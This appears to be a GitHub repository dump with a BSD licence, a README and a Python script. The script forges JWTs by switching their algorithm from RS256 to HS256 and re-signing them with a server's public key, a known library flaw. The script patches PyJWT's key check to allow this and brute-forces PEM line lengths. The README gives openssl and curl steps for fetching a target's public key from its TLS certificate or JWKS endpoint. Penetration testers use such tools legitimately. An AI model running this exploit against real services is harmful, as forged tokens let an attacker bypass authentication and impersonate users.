├── LICENSE ├── README.md └── jwt_resign_asym_to_sym.py /LICENSE: -------------------------------------------------------------------------------- 1 | New BSD License 2 | 3 | Copyright (c) 2019 Aura Information Security 4 | 5 | Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 6 | 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 7 | 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 8 | 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. 9 | 10 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 11 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Requires `PyJWT`, not `jwt`. 2 | 3 | # Background 4 | 5 | Some JWT libraries are vulnerable to a known attack which changes 6 | the type of a JWT from an asymmetric (e.g. RS256) to a symmetric 7 | one (e.g. HS256), as described 8 | [here](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/) 9 | 10 | This script will change the algorithm of a JWT to a symmetric one and re-sign 11 | it with a given public key, varying the line length of the PEM data. If the 12 | remote server is vulnerable it will try to verify the signature using its 13 | public key, as usual, but now using a symmetric algorithm, and hopefully 14 | succeed for one of the generated signatures. See also 15 | [here](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through/) 16 | 17 | # Usage 18 | 19 | ``` 20 | usage: jwt_resign_asym_to_sym.py [-h] [-j FILE] [-k FILE] [-f ALGO] [-t ALGO] 21 | [-n] 22 | 23 | Re-sign a JWT with a public key, changing its type from RS265 to HS256. Unless 24 | disabled, it will re-sign it once for each possible line length of the public 25 | key (starting at the length of the header line). 26 | 27 | optional arguments: 28 | -h, --help show this help message and exit 29 | -j FILE, --jwt-file FILE 30 | File containing the JWT. (default: jwt.txt) 31 | -k FILE, --key-file FILE 32 | File containing the public PEM key. (default: key.pem) 33 | -f ALGO, --from-algorithm ALGO 34 | Original algorithm of the JWT. (default: RS256) 35 | -t ALGO, --to-algorithm ALGO 36 | Convert JWT to this algorithm. (default: HS256) 37 | -n, --no-vary Sign only once with the exact key given. (default: 38 | False) 39 | ``` 40 | 41 | # Getting the public key 42 | 43 | ## From the SSL certificate 44 | 45 | Many sites use a single private/public key pair and that's the one 46 | in their SSL certificate, so try this, replacing `{server}` with the 47 | domain name and `{HTTPS` port} with e.g. 443: 48 | 49 | ```bash 50 | $ echo QUIT | openssl s_client -connect "{server}:{HTTPS port}" -showcerts 2> /dev/null > cert.pem 51 | ``` 52 | 53 | then extract the public key from it: 54 | 55 | ```bash 56 | $ openssl x509 -in cert.pem -pubkey -noout > key.pem 57 | ``` 58 | 59 | ## From the JWKS 60 | 61 | 1. From the OpenID conf 62 | 63 | Servers which use OpenID keep the configuration in a well known 64 | location. If the OpenID endpoint is e.g. 65 | `http://example.com/service/auth/`, then try: 66 | 67 | ``` 68 | $ curl http://example.com/service/auth/.well-known/openid-configuration 69 | ``` 70 | 71 | then look for the `jwks_uri` parameter. This points to the resource 72 | containing the public keys and their IDs. 73 | 74 | 2. From the OpenID conf 75 | 76 | If the server doesn't use OpenID, it may still provide a JWKS under the 77 | following URL 78 | 79 | ``` 80 | $ curl http://example.com/.well-known/jwks.json 81 | ``` 82 | 83 | If you found the JWKS JSON configuration, then fecth it and choose the key 84 | with the same `kid` as the `kid` in the JWT headers: 85 | 86 | ``` 87 | $ cut -d. -f1 <<<"{JWT here}" | base64 -d 88 | ``` 89 | 90 | After you have the JWT keys configuration (from the JWKS endpoint), and 91 | 92 | 1. you get the PEM certificate (`x5c` parameter), but no public key, 93 | save the value of the certificate to a file (`cert.pem`), adding 94 | the header and footer lines as follows (pad `x5c` with `=` as necessary, 95 | i.e. so that the number of characters in the body is a multiple of 4): 96 | 97 | ``` 98 | -----BEGIN CERTIFICATE----- 99 | {value of x5c parameter, padded with =} 100 | -----END CERTIFICATE----- 101 | ``` 102 | 103 | then extract the public key from it: 104 | 105 | ``` 106 | $ openssl x509 -in cert.pem -pubkey -noout > key.pem 107 | ``` 108 | 109 | 2. you don't get the PEM certificate (`x5c` paramter), but instead 110 | have the public key as a combination of a modulus (`n` parameter) 111 | and exponent (`e` parameter), do (replacing `$modulus` with the value of the 112 | `n` parameter): 113 | 114 | ``` 115 | $ res=$(sed 's/-/+/g;s/_/\//g' <<<"$modulus"); n=$(( 4 - (${#res} % 4) )); echo -n "${res}"; printf "%0.s=" $(seq 1 $n); 116 | ``` 117 | 118 | in order to replace the URI-safe charset of Base64 with the traditional 119 | charset of Base64 (see 120 | [this](https://stackoverflow.com/a/13195218/8457586)), and to pad it 121 | with `=` as necessary. Then use 122 | [this](https://superdry.apphb.com/tools/online-rsa-key-converter) 123 | online tool to generate a PEM public key from the modulus and exponent. 124 | 125 | # TO DO 126 | 127 | * Support for signing with a key in DER format 128 | -------------------------------------------------------------------------------- /jwt_resign_asym_to_sym.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | ############################################################# 3 | # @AaylaSecura1138, github.com/aayla-secura 4 | # Modify and distribute as you wish 5 | ############################################################# 6 | 7 | import jwt 8 | import sys 9 | import re 10 | import argparse 11 | 12 | def verify_sig(token, pubkey, **kwargs): 13 | for suffix in ['\n', '']: 14 | try: 15 | jwt.decode(token, (pubkey + suffix), **kwargs) 16 | except jwt.exceptions.InvalidSignatureError: 17 | continue 18 | return True, pubkey + suffix 19 | return False, pubkey 20 | 21 | def read_file(fname): 22 | with open(fname, 'r') as f: 23 | try: 24 | return f.read().strip('\n').replace('\r', '') 25 | except IOError as e: 26 | sys.stderr.write('Cannot read {}: {}\n'.format(fname, e)) 27 | return None 28 | 29 | ########## "Fix" pyjwt 30 | # pyjwt's HMACAlgorithm doesn't allow using public keys as secrets, so 31 | # we override it here, removing the check 32 | def prepare_key(self, key): 33 | key = jwt.utils.force_bytes(key) 34 | return key 35 | 36 | 37 | jwt.algorithms.HMACAlgorithm.prepare_key = prepare_key 38 | 39 | ########## Read cmdline 40 | parser = argparse.ArgumentParser( 41 | formatter_class=argparse.ArgumentDefaultsHelpFormatter, 42 | description=( 43 | 'Re-sign a JWT with a public key, ' 44 | 'changing its type from RS265 to HS256. Unless disabled, it ' 45 | 'will re-sign it once for each possible line length of the ' 46 | 'public key (starting at the length of the header line).')) 47 | parser.add_argument( 48 | '-j', '--jwt-file', dest='jwt_file', 49 | default='jwt.txt', metavar='FILE', 50 | help='''File containing the JWT.''') 51 | parser.add_argument( 52 | '-k', '--key-file', dest='key_file', 53 | default='key.pem', metavar='FILE', 54 | help='''File containing the public PEM key.''') 55 | parser.add_argument( 56 | '-f', '--from-algorithm', dest='from_algorithm', 57 | default='RS256', metavar='ALGO', 58 | choices=['RS256', 'RS384', 'RS512'], 59 | help='''Original algorithm of the JWT.''') 60 | parser.add_argument( 61 | '-t', '--to-algorithm', dest='to_algorithm', 62 | default='HS256', metavar='ALGO', 63 | choices=['HS256', 'HS384', 'HS512'], 64 | help='''Convert JWT to this algorithm.''') 65 | parser.add_argument( 66 | '-s', '--verify-signature', dest='verify_sig', 67 | default=False, action='store_true', 68 | help='''Verify that the given JWT with the given public key.''') 69 | parser.add_argument( 70 | '-d', '--delete-headers', dest='delete_headers', 71 | default=False, action='store_true', 72 | help='''Delete original headers.''') 73 | parser.add_argument( 74 | '-n', '--no-vary', dest='no_vary', 75 | default=False, action='store_true', 76 | help='''Sign only once with the exact key given.''') 77 | parser.add_argument( 78 | '-v', '--verbose', dest='verbose', 79 | default=False, action='store_true', 80 | help='''Print explanation for each generated token.''') 81 | parser.add_argument( 82 | '-o', '--output', dest='output', 83 | metavar='FILE', help='''Save output to FILE.''') 84 | args = parser.parse_args() 85 | 86 | ########## Verify token with public key 87 | pubkey = read_file(args.key_file) 88 | if not pubkey: 89 | sys.exit(2) 90 | 91 | token = read_file(args.jwt_file) 92 | if not token: 93 | sys.exit(2) 94 | 95 | claims = jwt.decode(token, algorithms=[args.from_algorithm], 96 | options=dict(verify_signature=False)) 97 | headers = jwt.get_unverified_header(token) 98 | try: 99 | audience = claims['aud'] 100 | except KeyError: 101 | audience = None 102 | 103 | if args.verify_sig: 104 | ok, pubkey = verify_sig(token, 105 | pubkey, 106 | algorithms=[args.from_algorithm], 107 | audience=audience) 108 | if not ok: 109 | sys.stderr.write('Wrong public key! Aborting.\n') 110 | sys.exit(1) 111 | 112 | ########## Save original header 113 | try: 114 | del headers['alg'] 115 | except KeyError: 116 | pass 117 | if args.delete_headers: 118 | try: 119 | del headers['typ'] 120 | except KeyError: 121 | pass 122 | try: 123 | del headers['kid'] 124 | except KeyError: 125 | pass 126 | try: 127 | del headers['x5t'] 128 | except KeyError: 129 | pass 130 | 131 | ########## Case 1: sign with exact public key only 132 | if args.no_vary: 133 | sys.stdout.write(jwt.encode( 134 | claims, pubkey, 135 | algorithm=args.to_algorithm, 136 | headers=headers)) 137 | sys.exit(0) 138 | 139 | ########## Case 2: vary newlines 140 | lines = pubkey.split('\n') 141 | if len(lines) < 3: 142 | sys.stderr.write('Make sure public key is in a PEM format and ' 143 | 'includes header and footer lines!\n') 144 | sys.exit(2) 145 | 146 | hdr = pubkey.split('\n')[0] 147 | ftr = pubkey.split('\n')[-1] 148 | meat = ''.join(pubkey.split('\n')[1:-1]) 149 | 150 | output = sys.stdout 151 | verbose_output = sys.stderr 152 | if args.output is not None: 153 | output = open(args.output, 'w') 154 | verbose_output = output 155 | 156 | sep = '\n-----------------------------------------------------------------\n' 157 | for lgt in range(len(hdr), len(meat) + 1): 158 | secret = '\n'.join([hdr] + list(filter( 159 | None, re.split('(.{%s})' % lgt, meat))) + [ftr]) 160 | if args.verbose: 161 | verbose_output.write( 162 | ('{sep}--- JWT signed with public key split at lines of length ' 163 | '{lgt}: ---{sep}').format( 164 | sep=sep, lgt=lgt)) 165 | output.write('{}\n'.format(jwt.encode( 166 | claims, secret, 167 | algorithm=args.to_algorithm, 168 | headers=headers))) 169 | 170 | secret += '\n' 171 | if args.verbose: 172 | verbose_output.write( 173 | ('{sep}------------- As above, but with a trailing ' 174 | 'newline: ------------{sep}').format( 175 | sep=sep)) 176 | output.write('{}\n'.format(jwt.encode( 177 | claims, secret, 178 | algorithm=args.to_algorithm, 179 | headers=headers))) 180 | 181 | if args.output is not None: 182 | output.close() 183 | --------------------------------------------------------------------------------